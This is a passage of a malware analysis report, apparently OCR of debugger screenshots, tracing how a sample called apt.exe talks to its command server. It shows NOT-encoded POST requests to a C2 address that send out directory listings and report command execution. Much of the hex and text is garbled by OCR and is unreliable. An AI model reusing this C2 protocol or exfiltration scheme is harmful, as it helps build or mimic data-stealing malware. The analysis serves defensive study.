| 1----®||671B6BIE| v 7C 02 j1 apt.&7186BAZ
. el |t e s
ol <
<apt.send>
CODE: 67186898 apt.exe:$6B98 #5F98
Bobumpl  Pypump2  BDump3 @Y Dump4 B Dump 5 B watch1  Ix=llocals 4 ¥ 03710074 OEFEliﬁ
Address | Hex ASCII m e | Do
DO3FE1490 |50 4F 52 54|20 2F 63 78|70 69 &4 2F(73 75 &2 &D|POST Scxpid/subm 047100 &0 | 047 1DDAD
03FE14A0 |69 74 2E 70|68 70 3F 53|65 73 73 69|6F 6E 49 44|it.phprsessionID U4%lDDS4 67186BES
03FE14B0| 3D 31 39 36|20 48 54 54|50 2F 31 2E|30 0D 0A 483|=1%96 HTTP/L.0..H 0471D08E | 04710098
O3FE14CO|(6F 73 74 3A (20 31 32 31|2E 31 32 37|2E 32 34 39| 0s5t: 121.127.249 047100EC | 00000100
03FE14D0| 2E 37 34 3A|34 34 33 OD|0A 55 73 65|72 2D 41 67| .74:443..User-Ag 04710090 | 00000000
O3FEL4E0Q| 65 GE 74 3A|20 4D 6F 7A|G9 6C 6&C 61(2F 34 2E 30|ent: Mozilla/4.0 U4;lDD94 D3FE1490
03FE14FO| 20 28 63 6F (G0 FO 61 74|69 62 6C 65|3B 20 4D 53 (compatible; Ms D4;lDD96 0471FEE80
D3IFE1S00| 49 45 20 37 |2E 30 3B 20|57 69 GE G4(6F 77 73 20| IE 7.0; windows U4;lDD9C r671887CT
O3FE1S10| 4E 54 20 35|2E 31 3B 20|53 56 31 29(0D 0A 41 63 (NT 5.1; S5V1)..AcC 04;1DD*U 04T1FFCC
D3FE1520| 63 65 70 74|3A 20 2A 2F|(2A OD OA 41(63 63 65 70| cept: *=/*..Accep ﬁ4;lDD:4 67155B9A
03FE1530| 74 2D 4C 6l|6E &7 75 61(67 65 3A 20(65 6E 2D 75| t-Language: en-u D4¥lDD:é 0471FEE80
03FE1540 |73 0D OA 43 |6F 6E 6E 65 (63 74 69 6F|6E 3A 20 4B|s..Connection: K na7100AC | 67188364
O3FE1S50| 65 65 70O 2D |41 6C 69 76|65 OD OA 43 (6F GE 74 65| eep-Alive..Conte na7100E0 | 67188364
O3FE1S60|6E 74 2D 54|79 70 65 3A|20 74 65 78|74 ZF €8 74| nt-Type: text/ht U4;lDDE4 00000000
D3FELS70| 6D 6C OD DOA|43 6F GE 74|65 GE 74 2D(4C 65 BE &7 (ml..Content-Leng D4;lDDES 00000000
03FE1580 |74 65 3A 20|37 37 0D OA|OD OA 3C 65|74 6D &C 3E|th: 77....<html> U4;lDDBC 00000000
O3FE1590|3C 68 65 61|64 3E 3C 74|69 74 6C B5(3E 52 65 73| <head-<titlexRes 04;lDDCD 00000000
O3FE1SAO0 |75 6C 74 3C|2FE 74 €9 74|6C 65 3E 3C|2F 68 65 61 u]t{ftft1e>dfh§a ﬁ4;lDDC4 00000000
03FE15B0| 64 3E OD 0OA|3C 62 6F 64|79 3E 3C 68|34 3E CF 83| d>,.<body»<h4>I. D4;lDDC$ 00000000
0O3FEASCO|(CE 83 CF 83|3C 2F 68 34|3E 3C 2F 62 |6F &4 79 3E I.I.ﬁjh4bdfbudyb U4;lDDCC 00000000
03FE1SDO|3C 2F 68 74|60 6C 3E 00(E4 BS 18 67 |E4 BS 18 &7 | </html=.0u.gdu.g 3 || e it
Figure 59
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If the write operation failed, the request is changing (NOT (CF 83 CF 83 CF 83) =30 7C 30
7C 30 7C =“0]0]|0]"):

Fak e| 67156883 6A 00 push o
s #( 67186B85 8B 45 FC mov eax,dword ptr ss:febp-4
I || 67T1EGBEE EB BF CB FF FF €211 apt.6718374C
e ¢( 67186B8D 50 push eax
! H #( 67186BEE BB 45 FC mov eax,dword ptr ss:|[febp-4]
e #| 67186B91 ES BE6 CD FF FF €311 apt.6718394C
i ! o 67186 50 push eax
iy (6718 56 push esi
Eg— E8 A3 DA FF FF call <apt.send>
! i # | 67186B9D 48 dec eax
|
e o
<apt.send:>
CODE: 67186B98 apt.exe: $§6B98 #5F98
- 3
oump1l  oumpz B oump3 BYpDump4 Y Dump 5 ) watch1  Ir=lLocals 4 Fmﬂ“?lﬂny“ Dnglig
Address | Hex ASCII A g:;igg;g ggggg%gg
03FE1490[508 4F 53 54|20 2F &3 78|70 69 64 2F|73 75 62 6D|POST /cxpid/subm 04710080 | 047 1DDAD
D3FE14A0( 69 74 2E 70O|GB 70 3F 53|65 73 73 E9|6F GE 49 44|it.phprTSessionID 04710054 | 67 186BB8
03FE14B0( 3D 31 39 37|20 48 54 54|50 2F 31 2E(30 0D 0A 48|=197 HTTP/1.0..H 04710035 | 0471DD 98
O3FE14CO|6F 72 74 3A|20 31 32 31|2E 31 32 3I7|2E 32 34 39(ost: 121.127.249 047 1005C | 00ODOOED
O3FE14D0| 2E 37 34 3A|34 34 33 OD|0A 55 73 65(72 2D 41 67|.74:443..User-Ag 04710090 | 00000001
03FE14EQ| 65 &E 74 3A|20 4D &F 7A|69 6C 6C 61(2F 34 2E 30| ent: Mozilla 4.0 04710094 | 03FEL490
O3FE14F0( 20 28 &2 GF|GD 70 g1 74|69 &2 &C &5 (3B 20 4D 52| (compatible; MS ﬁ4;IDD98 047 1FES0
03FE1500( 49 45 20 37|2E 30 3B 20|57 69 G6E 64 (6F 77 73 20|IE 7.0; Windows 04710090 F671887CT
03FE1510( 4E 54 20 35|2E 31 3B 20|53 56 31 29(0D 0A 41 63 |NT 5.1; SWl)..Ac 04710040 | 0471EECC
03FE1520( 63 &5 70 74|3A 20 2A 2F|2A 0D DA 41|63 63 65 70|cept: */*,. Accep na71opaz || 67183894
03FE1530|74 2D 4C 61(6E 67 75 61|67 65 3A 20|65 GE 2D 75(t-Language: en-u na71ooas | 0471EEs0
O3FE1540| 73 0D 0OA 43|6F 6E 6E 65|63 74 69 6F [6E 3A 20 4B|s..Connection: K na71ooac | 67188364
03FE1550( 65 65 70 2D |41 6C 69 76|65 OD DA 43|6F 6E T4 65 (eep-Alive..Conte o471ooe0 | 67188264
O3FE1560|6E 74 2D 54|79 70 &5 3A|20 74 65 78|74 2F g8 74| nt-Type: text/ht n4710084 | oonooooo
03FE1570( 6D &C 0D OA|43 6F GE 74|65 GE 74 2D|(4C 65 &E &7 |ml..Content-Leng na7iooes | oonooooo
03FE1580( 74 &3 3A 20|37 37 0D OA|OD 0OA 3C 68|74 6D 6C 3E|th: 77....<html> na71ooec | cooooooo
D3FE1590(3C &8 &5 61|64 3E 3C 74|69 74 &C &5 |3E 52 &5 73| <head»<titlesRes na71ooco | cooooooo
03FE1SA0| 75 6C 74 3C|2E 74 69 74|6C 65 3E 3C|2F 68 65 6l|ult</titlex</hea na71ooe 2 || conooooo
03FE1SB0| 64 3E OD 0A|3C 62 &F 64|79 3E 3C 68|34 3E CF 83|d>..<body=<h4>I. n471oocs | oooooooo
O3FE1SCO|CF 83 CF 83|3C 2F 68 34|3E 3C 2F 62 (6F 64 79 3E|I.I.</hd></body> 64;1DDCC 0000000
O03FE1SD0|3C 2F 68 74|60 6C 3E OO|E4 BS 18 67 (F4 BS 18 &7 | </html>.0U.Q0U. 0 bl IS E | Iy
Figure 60

An identical GET request, as presented before, is sent to the server and the malware jumps
back to the switch statement (this applies to each case).

Case 2 —

EAX =1

In this case, we have 2 subcases depending on the response from the server. In the first
one, the only thing that is exfiltrated to the CnC server is the current directory, which can be
obtained by applying a NOT operation:
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b e 67186E83 64 00 push 0
I #| 67186B85 BE 45 FC mov eax,dword ptr ss:|[lebp-4]
: i ®( 67186EBE88 E8 BF CB FF FF E&1T apt.6718374C
! | @ 671836B8D 50D push eax
! i #( 67186B8E BB 45 FC mov eax,dword ptr ss:[lebp-4]
Mt ®| 67186B91 E8 B& CD FF FF call apt.6718394C
] ! el 57 4] push eax
5% el 5 5G push esi
ELP pum e ES A3 DA FF FF €all <apt.send> "
v . 48 dec eax '
vl > Default (stdcz
b Sl ~
<apt.send> % =:§g}_4'
3: [esp+8
CODE: 67186898 apt.exe:$6B93 #5F98 4: [esp+C
@oump1  Poumpz @oump3  Eoump4  @Woumps @ wath1  Ixllocaks 4 Ploirapnos {}BFEﬂl::II-x
Address | Hex ASCIT ~ g:;ﬂggg mmmﬁms
O3FEODSC |50 4F 53 5420 2F 63 78|70 69 &4 2F|73 75 &2 &D|POST Jcxpid/subm 04710024 | 0471DDS 4
O3FEOD9C (69 74 2E 70|68 70 3F 53|65 73 73 69|6F &6E 49 44|it.phprsessionlID f]-‘r%IDDSS 6718GEES
O3FEODAC | 3D 34 31 20|48 54 54 SO|2F 31 2E 30(0D 0A 48 &F (=41 HTTP/1.0..Ho i]-t.‘J.DDSC 047100 4C
O3FEODBLC (73 74 3A 20(31 32 31 ZE|31 32 37 2E|32 34 39 2E|(s5t: 121.127.249. 04710040 | 67188364
O3FEODCC |37 34 3A 34|34 33 0D OA|55 73 65 72(2D 41 67 65|74:443..User-Age 04710044 | 00000000
O3FEODDC | 6GE 74 3A 20|4D 6F 7A 69(6C &6C 61 2F (34 2E 30 20| nt: Mozillas/4.0 04710043 | 02FEDDSC
O3FEODEC |28 63 6F 6D |70 61 74 69|62 6C 65 3B(20 4D 53 49| (compatible; MsSI 047100 4C | 0471DD93
O3FEODFC | 45 20 37 2E|30 3B 20 57|69 GE 64 GF (77 72 20 4E(E 7.0; Windows N U4;TDD5[‘ 67 157AB9
O3FEOEOC |54 20 35 Z2E|31 3B 20 53|56 31 29 0D|0A 41 63 63|T 5.1; SWl)..Acc na7ipo: 4 || 04710DAD
O3FEOELC |65 70 74 3A |20 2A 2F 2A|0D OA 41 63|63 65 70 74|ept: */*..Accept f]-‘rTIDDSS 67187C9F
O3FEOE2C | 2D 4C 61 GE|67 75 61 &7 |65 3A 20 65|6E 2D 75 73 —Language:_ en-us f]-t.‘lDDSC 04710098
0O3FEOE3ZC (0D 0OA 43 GF(GE GE 65 63|74 69 6F GE|3A 20 4B 65| . .cnnrject1 on: Ke na71oo a0 | oooooooo
O3FEOE4C |65 70 2D 41|6C 69 76 65 (0D DA 43 G6F|(GE 74 65 &E|ep-Alive..Conten L"-‘r_J.DDf;-; 00000000
O3FEOESC |74 2D 54 79|70 65 3A 20|74 65 78 F4(2F 68 74 6D | t-Type: text/htm UJ—t._J.DDf:S OO000000
O3FEOEGC | 6C OD DA 43 |6F GE 74 65 |6E 74 2D 4C 7 74| 1..Content-Lengt i‘4;=DD';~C 00000000
O3FEDE7C |68 3A 20 39|36 0D DA 0D |DA 3C 68 74|60 6C 3E 3C|(h: 96....<html=< 02710070 | oooooooo
O3FEQESC (65 65 61 64 |3E 3C 74 69|74 6C 65 3E|(52 65 73 75| heade<titlex-Resu i]-t._-TDD.'--; 00000000
O3FEOE9C |6C 74 3C 2F |74 69 74 6L |65 3E 3C 2F(68 65 EB1 64| 1t</titles</head f]‘._'IDD._S O3FEDEZ4
O3FEOEAC ( 3E OD 0A 3C |62 6F 64 79|3E 3C 68 34|3E CE 83 CE|>. ,-:budy:--:h4:-1.1 [.]1:_J.DD:'C O0IFEQACT
O3FEOEBC | B3 BC C5 A3 |(AA BC 9A 8D |8C A3 AD BA|BZ2 A3 BB 9A| .WAf2, || F . %=4p, n471pps0 || cooooooo
O3FEOECC | 8C 94 BB 920 (8F 83 3C 2F |68 34 3E 3C|2F 62 6F 64| ... ...-:,.r'h4:\--:{'bl3d [‘-‘;_J_DDS-; 0IFEODBC
0O3FEQEDC | 72 3E 3C 2F (68 74 6D &L |3E 00 00 OO|E4 BS 18 &7 y:-«:,-’ht*n'l:-.. LOM.g e r;_t.—!r\.ln;\-‘;\-‘ AIECAARE
Figure 61

In the second subcase, the malware scans the current directory using the FindFirstFileA and
FindNextFileA functions:

Eg—] » E8 48 CD FF FF €& <apt.FindFirstFilea: €S 0023 55 DOZE
® | BT187308 8B FS8 mov edi,eax
s | 6718780A 83 FF FF cmp edi,FEFEFEFF
I,————o 6718780D ~ 75 11 jne apt. 67187820 3:2 gggggggg
| s | 67187 80F 2B CE mov eax,esi
! o | 67187811 BA 8C 79 18 &7 mov edx,apt.&718798C DRZ 00000000
! »| 67187816 ES 01 BE FF FF call apt.6718361C DR3 00000000
———#®|( 6718781E| ~ E9 31 01 00 0O jmp apt.67187951 DR& 00000000
~---r# | GF187 820 33 DB xor ebx,ebx DRT 00000000
®| 67187822 68 94 79 18 67 push apt.67187934
®| 67187827 8D B5 CC FE FF FF lea eax,dword ptr ss:[ebp-134]
#| 67138782D 50 push eax
® | 6718782E E8 B5 CD FF FF call <apt.lstrompi>
| 67187833 85 CO test eax,eax
r--—-# || 6F 187835 ~ 74 15 je apt.6718784C
! e | 67187837 68 98 79 18 &7 push apt.&7187998
q #| 6718783C 8D B5 CC FE FF FF lea eax,dword ptr ss:[ebp-134]
! ® | 67187842 50 push eax
f e | 67187843 E8 70 CD FF FF call <apt.lstrcompi>
! @ | 67187848 85 CO test eax,eax
-1----o( G7187B4A| ~ 75 2B jne apt.&7187877
| L---e|6718784C 8D B85 AD FE FF FF 1ea eax,dword ptr ss:[ebp-1560]
! ® | 67187852 50 push eax
! e | 67187853 57 push edi -
t e | 67187854 E8 FF CC FF FF call <apt.FindNextFileA> =
! * Seme o = Default (stdcall)
S = = 1: [esp] O3FEDACS "C:\\Users'\IEN
<apt.FindFirstFilea> 2: esg}—d] 0471DBEC M N
3: [esp+3] 0471DD54
4: [esp+C] 671879374 apt.67187974
CODE: 67187803 apt.exe:$7803 #6C03 e = == 5
= —— —
WWpump1 @pumpz WWoump3 WWWDump4  Wloumps @ watchi  Ie=llocals ¢ Pf5arinens gi;mﬁg CeRiUsens N esktop O
Figure 62

Each file time is extracted and converted to a local file time by using the
FileTimeToLocalFileTime API:
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Figure 63
The process constructs the next buffer for every file: 1|File name|dwHighDateTime (high-
order 32 bits of the file time) in decimal|File size in decimal|. An example of such buffer is
presented in the next picture:

Address

Hex

ASCTT

O3IFEOBZ2
O03FEOEB3

C
C

Figure 64

After the process succeeds in applying the algorithm for every file in the current directory, the

31 FC 31 30
33 30 31 35

final buffer looks like the following:

Address

Hex

6B FC 33 30
JC 00 00 00

38 33 37 31

36 37 YC 38
E4 BS 18 6F|F4 BS 13 &7

ASCII

D3FEZ3C4
O3FEZ3D4
0O3FEZ3E4
0O3FEZ23F4
O3FEZ404
D3FEZ2414
0O3FEZ2424
D3FEZ434
DO3FEZ444
D3FEZ45 4
D3FEZ2464
O3FEZ2474
O3FEZ484
D3FEZ2494
D3FEZ24A4
O3FEZ4B4
O3FEZ4Ca
OIFEZ4D4
O3FEZ4E4

31
33
63
33
70
35
62
7C
62
38
1153
34
TA
7C
31
61
2E
33

30

7C
30
65
39
2E
31
63
32
34
&5
32
65
7C
31
=15
=
65
29
37

31
31
39
B85
&5
34
2E
31
62
62
85
32
33
7C
21
30
75
38
37

30
35
a6
32
78
32
73
36
63
34
el
35
30
34
38
2D
[
31
32

66
7C
31
64
65
33
6F
32
39
33
3z
39
38
64
36
44
7C
32
54

7C
31
30
36
7C
39
2E
39
35
&5
39
34
3z
31
34
&5
33
33
35

33
7C
&6
33
33
fC
30
32
33
&6
33
36
33
30
63
76
30
7C
31

30
31
37
2D
30
31
7C
7C
62
&4
63
30
37
34
33
69
35
21
31

35
62
35
46
38
7C
33
31
30
39
37
35
31
35
30
63
32
7C
63

33
&4
35
40
32
32
30
7C
37
62
39
39
33
36
65
&5
36
358
&5

37
&5
39
43
32
2E
35
32
37
61
85
2E
7C
6l
38
56
31
61
5

31
13
35
52
30
31
32
31
33
38
30
62
34
30
36
69
31
34
&5

36
a9
34
53
35
30
30
32
o4
30
65
69
31
37
63
G5
35
21
65

37
&3
33
&5
35
2E
1
34
36
&4
37
GE
35
39
&4
77
7C
39
el

fC
=15
6l
74
7C
6L
23
33
35
27
66
2E
31
62
32
65
31
62
34

35
34
31
75
31
63
37
63
61
=15
36
&7
30
64
61
72
32
21
34

1|10kK]|30837167 |8
3015 |1|1bdefocta
ceafl0f7559543al
39ezde3-FMCRS2tTU
p.exe|30822055 |1
514299|1|2.10.11
bc.s0.0|30520637
|216292|1|21243C
b4bc9s3b0773d68a
S8eb4zefdobasodr T
T2ea293croenerTe
4825946059.bin. g
Z | 30823713 | 41510
|1]4d10486a073bd
1f1864c20e86cd2a
aso-DeviceVviewer
.BXe|30826118]|12
398123 |1|8a419b1
07 72d8llcesesad4

1|10k|30837167
F015). ..o0u.q00uU. 0

Figure 65

B

The buffer is encoded using the NOT operator and is exfiltrated to the C2 server via a POST

request:

i E 50 push eax

0 Bty L] 8D 85 B4 FE FF FF Tea eax,dword ptr ss:|[Jebp-1acC]
N e 50 push eax [—
. L] E8 BB CC FF FF €411 <apt.FileTimeToLocalFileTime> W |[—
e & e e oy e T e, e De:
I > ==
<apt.FileTimeToLocalFileTimes .
3:
4;
CODE: 671878B0 apt.exe: $78B0 #6CBO =
3 0471DCO0
Ui'lil DlJlTIF' i uit' DUITIFl 2 ﬂi'lﬁl DUITIFl 3 ﬂi'lﬁl DUITIFl 4 ﬂitl DUITIFl 5 @ Watch 1 [x=] Locals ‘ F 0471DBDO | 0471DD30
Aress [ s ol
0471DCO0 | 4C| B9 6B BA|D9 89 D6 01|00 00 00 00|47 44 01 00 |E kK. U.O..... GD 04;1DBD3 047 10D 4C
0471DC10|00 00 00 00|00 OO OO0 00|31 30 6B 00|00 00 00 0O0|........ alo] e e ey
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i e 6TLE6E83 6A 0O push 0
i #®| 67186BE5 BB 45 FC mov eax,dword ptr ss:[febp-4f
i ®| 6GT1LE36B88 ES8 BF CB FF FF €all apt.6718374C
1 ®| 67LE6BED 50 push eax
| #| 67186BS8E BB 45 FC mov eax,dword ptr ss:[febp-4]
! ®| 67186B31 E8 B& CD FF FF €A1l apt.6rl18394C
I ®| 671B8GE96 s} push eax
! ®|| 6F186B37 56 push esi —_—
Fg—s ES8 A3Z DA FF FF call <apt.send> v =
1 L 3 | Def
g5 e
<apt.send> %:
3:
CODE: 67186E98 apt.exe: $6B38 #5F98 E%é
- 71002+ [EFER
@oump1  @oumpz @oump3  @oump4  PWoumps @ watchi  elleaks 4 P oerinnss DEFE?igg
g | e ASCIT A || #471DD2C | 00001498
O3FEF188[50 4F 53 54|20 2F 63 78|70 6% 64 2F|73 75 62 &D|POST /cxpid/subm 31313323 gﬂ?ﬁgg?ﬂ
D3FEF198( 69 74 2E 70|68 70 3F 53|65 73 73 69|6F GE 49 44|1it.phpTSessionID 04710035 | 67 1RGRES
O3FEF1AB( 3D 39 32 20|48 54 54 50|2F 31 2E 30(0D 0A 48 6&F|=92 HTTP/1.0..Ho 04710D3C | 047 1DD 4C
O3FEF1B8( 72 74 3A 20|31 322 21 2E|31 32 37 2E(32 24 39 2E|st: 121.127.249. 04710040 | 67188364
D3FE7LICB|37 34 3A 34(34 33 0D DA|S5 73 &5 72|20 41 67 65|74:443..User-Age 04710044 | 00000000
O3FEF1DB|6E 74 3A 20|4D 6F 7A 69|6C 6C 61 2ZF (34 2E 30 20|nt: Mozilla 4.0 04710045 | O3FET188
O3FEF1EB| 28 62 6F 6D |70 61 74 69|62 &C &5 3IE(20 4D 53 49| (compatible; MsSI 04710D4C | 047 1DD98
O3FEFL1F8| 45 20 37 ZE|30 3B 20 57|69 6E 64 &F (77 73 20 4E|E 7.0; Windows N 04710050 [F67187C1C
03FE7F208(54 20 35 2ZE|31 3B 20 53|56 31 29 OD(0A 41 63 63|T 5.1; SV1)..Acc 0471005 4 || 047 1DDAGC
O3FE7218( 65 70 74 3A|20 2A 2F 2A|0D 0A 41 63 (63 65 70 74|ept: =*/*..Accept ne=1oocs l e7157caE
D3FEF228| 2D 4C 61 6E|67 75 61 67|65 3A 20 65(6E 2D 75 73|-Language: en-us ns71o0sc || 04710098
D3FE7238|0D 0OA 43 6F(GE G6E 65 63|74 69 &F GE|3A 20 4B 65|..Connection: Ke ner1ooen | oooooooa
03FEFZ248(65 70 2D 41|6C 69 76 65|0D 0OA 43 GF|(GE 74 65 GE|ep-Alive..Conten ne=1oo64 | 03FE4sTC
O3FE7258(74 2D 54 79|70 65 3A 20|74 65 78 74|2F 68 74 6D | t-Type: text/htm ns71ooes | 03rE0AED
O3FEFZ268|6C 0D 0A 43|6F GE 74 65|6E 74 2D 4C ' 1..Content-Lengt o471ooec || oooooooo
03FE7278( 68 3A 20 35|30 32 34 OD|0A OD OA 3C|68 74 6D 6C|h: 5024....<html ] [=asEmans
O3FEFZBB|3E 3C 68 65|61 64 3E 3C|74 69 74 6C|65 3E 52 65 |»<head»<titlesRe 04710074 | oooooooo
O3FE7298( 73 7t EC 74|3C 2F 74 69|74 6C 65 3E|3C 2F 68 65 |sult</titles</he 04710073 | ooooooo
03FE72A8| 61 64 3E OD|0A 3C 62 6F |64 79 3E 3C |68 34 3E CE|ad-..<body=-<h4>1 n471oo7c | oooooooo
03FE72B8| 83 CD 83 BC|C5 A3 AA 8C|(9A 8D 8C A3 (AD BA B2 A3|.I.wAfa2.,,.f£.°°f ns71o0a0 | oonooooa
03FEF2CE|BE 94 BC 94|BBE 90 8F 83|CE 83 CE CF |94 83 CC CF|®uuuuunn 3 i 3 A 1 naziooz4 || 03FET1EE
0O3FE72D8|C7 CC €8 CE|C9 C8 83 C7|CC CF CE CA|(83 CE 83 CE|CIEIEE.CITIE.2. 1 U4;lDDE" D3FE0ROD
O3FEFZEB| 9D 9B 94 99|C6 9C 99 CB|9C 9A C6 99|CE CF 99 CB|....%£..E..£.11I.E 04;1DDE§ D3FE23C 4
0D3FETZFB|C7 CA C6 CA|CB C€C 9E CE|CC €6 9A CD|9B C9 CC DZ|CEfEEI.II£.1.E1D 04415530 D3FEDACE
03FE7308(B9 B2 BC AD|AC 9A 8B 8A|8F D1 9A 87 (9A 83 CC CF| ' =%.-....N....IT n4710094 || oonoonoa
03FE7318|C7 CD CD CF|CA CA 83 CE|CA CE CB CD|C6 C6 83 CE|CIIIEE.IEIETxa. T | B it | [ttt
Figure 66

Case 3—-EAX =2

By parsing the response from the server to obtain the command line to be executed, there is
a new process created using the CreateProcessA function:
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| 67188260 50 push eax
®| 671BB2GE BD 45 B4 Tea eax,dword ptr ss:[[ebp-4C]
®( 67188271 50 push eax
®| 671833272 &4 00 push 0O
®| 67188274 64 00 push O
®| 67188276 6A 00 push 0
®| 67188278 &A 00 push 0O
@ 6718827A 6A 00 push 0
8 6718827C 6A 00 push 0O
@ 6718827E FF 75 FC push dword ptr ss:[febp-4]
@ 67188281 63 FO 82 18 &7 push apt.&71882F0
®| 67188286 FF 75 F& push dword ptr ss:[Qebp-&j
®( 67158259 ED 45 AD Tea eax,dword ptr ss:|[febp-c0f
®| 6718B82BC BA 03 00 00O 00 mov edx,3
@ 67188291 E8 76 B5 FF FF call apt.&718330C
®| 67158296 BE 45 AD mav eax,dword ptr ss:|[febp-60]
@ 57188299 E8 AE B& FF FF a1l apt.&718394C
@ 6718829E 50 push eax
@ 6718829F 6A 00 push 0
| EB 8A CZ FF FF call <apt.CreateProcessAx
" <
<apt.CreateProcessA>
CODE: 6718582A1 apt.exe:$82A1 #76AL
Woump1i  @oumpz  @Hoump3  @oump4  @Woumps @ wath1i | I-lloals 4 Ploa7in004 | 03FEDAC
Address | Hex ASCII Y e Bt
03FEOQACC i3 00 33 0D 2 E4 BS 18 &7 (2C 35 00 00 .3.Du.gup.gl5.. 04710010 | coDOOOOD
OIFEQADC |28 35 00 00|11 22 33 OD|(O0A OD OO OO |E4 BS 18 67 5..."3..2.. H.g 04710014 | 00000000
OZFEOAEC (E4 BS 18 &7(14 25 00 00|11 22 33 0OD|(14 00 OO0 00| OM.Q.5..."3..... 04710018 | oooooooo
03IFEQAFC |17 OO0 OO 00|00 00 0O OO|(O6 OO0 OO0 00|11 22 33 0D ....:...:...:"3. 04710D1C | 00000000
OZFEOBOC |0A OD OO O0O|E4 BD 18 E7F(E4 BS 1B &7 |EC 34 00 DE .;..Dp.ggp.g]4.. 04710020 | 047 1DD4C
OIFEQRIC| 11 22 33 WD|0n 09 00 0U|E3 82 A8 RZ|E4 2 18 £7] .03 ;00009 04720024 0471003
Figure 67

If the new process was successfully created, the following request is made to the CnC server
(NOT (CD 83 CE 83 CF 83)=327C 31 7C 30 7C = “2|1|0/"):

! i & 67186B83 &4 00 push 0

e #®| 671B86BBS5 BB 45 FC mov eax,dword ptr ss:|[Jebp-4]

; i ®| 67186BEE E8 BF CB FF FF 41T apt.6718374C

! ! #|| G7T1E86BED 4] push eax

! ] L] BB 45 FC mov_eax,dword ptr ss:|[febp-4f

it L E8 BE CD FF FF call apt.6718394C

i ! @ 50 push eax

ey [ 56 push esi
Elg—— ES8 A3 DA FF FF €all <apt.send>

! i 3 48 dec eax

s - 7C 02 j1 apt.&7186BAZ

et ® ST T

4
<apt.send=
CODE: 67186B98 apt.exe: $6B98 #5F95
Boumpl | @pumpz  @WHDump3  @WHoump4 @ Dumps @ watch1  Ix=lLocals 4 W 0471007 4 ungu:;'?g
Address | Hex ASCII o 0471DD7 8 | 00000147
D3FEODSO |50 4F 53 54|20 2F 63 78|70 69 64 2F |73 75 62 6D |POST Jcxpid/subm ﬁ:i}gggﬁ 047 1DDAD
DO3FEODGD |69 74 2E 70|68 7O 3IF 53|65 73 73 69|6F GE 49 44|it.phprSessionID b4%lDDSJ 67 156EES
D3FEOD70|3D 31 32 38|20 48 54 54|50 2F 31 2E|30 0D OA 48|=128 HTTP/1.0..H 0471DDSS | 0471DD9S
O3FEODSO|6F 73 74 3A|20 31 32 31|2E 31 32 37|2E 32 34 39|ost: 121.127.249 04710050 | 67183264
O3FEODY0|2E 37 34 3A(34 34 33 0OD|0A 55 73 65|72 2D 41 67|.74:443,.User-Ag 0471DD90 | 00000000
O3FEODAD| 65 GE 74 3A|20 4D 6F 7A|69 6C 6C 61|2F 34 2E 30|ent: Mozilla/ /4.0 04710034 | 03FEODS0
O3FEODBO| 20 28 63 6F gD 70 61 74|69 62 6C 65|3B 20 40 53| (compatible; Ms 04710092 | 047 1EFED
O3FEODCO| 49 45 20 37(2E 30 3B 20|57 69 6E 64|6F 77 73 20|IE 7.0; Windows 0471DD9C [FE7 188449
O3FEODDO| 4E 54 20 35|2E 31 3B 20|53 56 31 29|00 0A 41 63| NT 5.1; SV1)..AC 04710020 | 047 1FFCC
O3FEODED| 63 65 70 74|3A 20 2A 2F|2A 0D 0A 41|63 63 65 70|cept: */*..,Accep 04710042 || 67133894
D3FEODFO|74 2D 4C 61|6E &7 75 61|67 65 3A 20|65 6E 2D 75|t-Language: en-u 04710D4AS | 047 1FFB0
D3FEOEDD|73 OD OA 43|6F 6E GE 65|63 74 69 GF|&E 3A 20 4B|s..Connection: K neriooac | 67158364
O3FEOE1D| 65 65 70 20|41 6C 6% 76|65 0D 0OA 43 |6F 6E 74 65 |eep-Alive..Conte ns7iooe0 |l 67138264
OZFEQOE20(6GE 74 2D 54(79 70 65 3A|20 74 65 78|74 2F €8 74| nt-Type: text/ht n4710oe4 [| oooooooo
D3FEDE30| 6D 6C 0D OA|43 6F GE 74|65 GE 74 2D |4C 65 GE &7 |ml..Content-Leng U4;1DDES 00000000
D3FEOE40D |74 68 3A 20|37 37 0D OA|OD OA 3C 63|74 6D BC 3E|th: 77....<html> H4;1DDBC 00000000
D3FEOES0|3C 68 65 61|64 3E 3C 74|69 74 6C 65 |3E 52 65 73| <head»<titlexRes 04;1DDCU 00000000
D3FEOEGD |75 6C 74 3C|2E F4 £9 74(6C 65 3E 2C|2F 68 65 &l ult</titlex</hea h4;lDDCJ 00000000
O3FEQEFO| 64 3E 0D 0DA|3C 62 6F 64|79 3E 3C 63|34 3E CD 83 dbi.ﬁbady>Qh4bi. D4;lDDCé OZFEQEBLOD
O3FEOES8S0|CE 83 CF 83|3C 2F 68 34(3E 3C 2F 62 |6F 64 79 3E I.I.{jh4?¢fbgdyb H4;1DDCC 00000000
O3FEOESD|3C 2F €5 74(6D0 6C 3E O0[E4 BC 18 67 (F4 BS 18 €7 | </html>. 0. gdu.g Y| azzinnnnll azeenare
Figure 68

32/40



Whether any error occurred during the process creation, the POST request is different (NOT
(CD83 CF 83 CF 83)=327C 307C 307C ="“2|0[0]"):

D e| srizs6Ea3 64 00 push o

1) ®| 67186B585 BB 45 FC mav eax,dword ptr ss:|[febp-4]

b e 5712EREE E8 BF CB FF FF €al1 apt.&718374C

I ®( 67186850 50 push eax

! ) @ 67186B8E BB 45 FC mov eax,dword ptr ss:[febp-4]

i ®| 67186E91 ES8 B& CD FF FF €all apt.6718394C

P! ¢ 67186836 50 push eax

1S | 67186897 56 push esi
Bg———>= ES A3 DA FF FF €all <apt.send=

i ®| 67186B90 48 dec eax

| r----®| 671BEBIE| ~ 7C 02 i1 apt.&71B6BA2

pit *IE
<apt.send>
CODE: 67186E958 apt.exe: $6B98 #5F98

@Woump1  @oumpz @ioump3  oumps  Eoumps @ warhi  [rlloclk 4 Pfoemsoote mgg

Address | Hex ASCII ~ | Ao | Bt
O3FEODSO0 |50 4F 52 54|20 2F &3 78|70 69 €4 2F|72 75 &2 &D|POST /cxpid/subm 04710080 | 047 1DDAD
O3FEODGO |69 74 2E 70|68 70 3F 53|65 73 73 69(6F 6E 49 44|1it.phpTSessionID 04710034 | 67186EES
03FEOD7O|3D 31 31 35|20 48 54 54(50 2F 31 2E|30 0D 0A 48|=115 HTTP/1.0..H 047 1DD8E | 0471DD 98
O3FEODBO|6F 72 74 2A|20 31 32 31(2E 31 32 37(2E 32 34 39|ost: 121.127.249 04710D5C | 67188364
03FEOD90| 2E 37 34 3A|34 34 33 O0D(0A 55 73 65|72 2D 41 67|.74:443..User-Ag 04710090 | 00000000
O3FEODAO |65 GE 74 34|20 4D &F 7A|69 6C &C G1|2F 34 2E 20| ent: Mozilla/4.0 04710094 | 03FEODSO
